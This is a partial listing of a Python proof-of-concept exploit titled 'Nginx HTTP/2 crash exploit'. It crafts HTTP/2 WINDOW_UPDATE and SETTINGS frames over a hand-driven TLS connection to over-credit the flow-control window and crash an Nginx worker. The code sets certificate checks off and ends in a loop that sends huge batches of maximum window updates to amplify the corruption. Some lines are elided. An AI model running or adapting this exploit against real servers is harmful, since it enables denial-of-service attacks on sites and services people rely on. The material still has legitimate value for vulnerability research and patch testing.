destination-only.py
Nginx HTTP/2 crash exploit
Amplifies corrupt HTTP/2 window with batchesTriggers HTTP/2 queued-data over-credit
SHA-2562fc3c88c112c99c6906cb9c2cf289ac952f5bbf9dfe5dd02529247f059cf0dc2
Evidence
1#!/usr/bin/env python3
2"""Standalone Nginx HTTP/2 cleanup-overcredit and signed-window crash PoC.
3
4The first printed oracle demonstrates the root cause: cleanup restores queued
5DATA credit above HTTP/2's maximum, after which the unsigned bounds …
6:30… NDOW_UPDATE. The remaining traffic only proves
7that this corrupt state reaches a native output consumer and crashes a worker;
8it is not needed to create the accounting error.
9"""
10
11import ctypes
12import socket
13import ssl
14import sys
15import time
16from urllib.parse import urlsplit
17
18
19MAX = 0x7fffffff
20PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
21
22# The PoC uses only this small, named subset of HTTP/2's frame vocabulary.
⋯15 lines
111:7… This PoC intentionally uses the configured /index.html only.
112 url = urlsplit(sys.argv[1] if len(sys.argv) > 1 else "https://198.51.100.20:9443/")
113 host, port = url.hostname, url.port or 443
114 authority = host if port == 443 else f"{host}:{port}"
115
116 # Start with an ordinary receive window so the public response can be
117 # measured and the initial HTTP/2 window can be consumed normally.
118 raw = socket.socket()
119 raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 1460)
120 raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
121 raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 262144)
122 raw.settimeout(3)
123 raw.connect((host, port))
124
125 # MemoryBIO exposes ciphertext before it reaches TCP. The PoC needs that
126 # control only to queue one complete TLS flight before allowing Nginx to
127 # flush response DATA; TLS encryption itself is not part of the flaw.
128 incoming, outgoing = ssl.MemoryBIO(), ssl.MemoryBIO()
129 context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
130 context.check_hostname = False
131 context.verify_mode = ssl.CERT_NONE
132 context.minimum_version = context.maximum_version = ssl.TLSVersion.TLSv1_3
133 context.set_alpn_protocols(("h2",))
134 tls …
256:70…
257 event = (update(0, 1792) + update(0, MAX)
258 + update(149, MAX - 1) + update(151, MAX - 1)
259 + setting(2) + update(0, MAX) + setting(65535)
260 + request(155, authority, extra=literal(RANGE, "bytes=0-9")))
261 head = (literal(METHOD, "HEAD") + b"\x87"
262 + literal(AUTHORITY, authority) + literal(PATH, "/ …
372:2… maximum = update(0, MAX)
373 batch = maximum * (1 << 20)
374 for tranche in range(128):
375 for _ in range(32):
376 send(batch)
⋯4 lines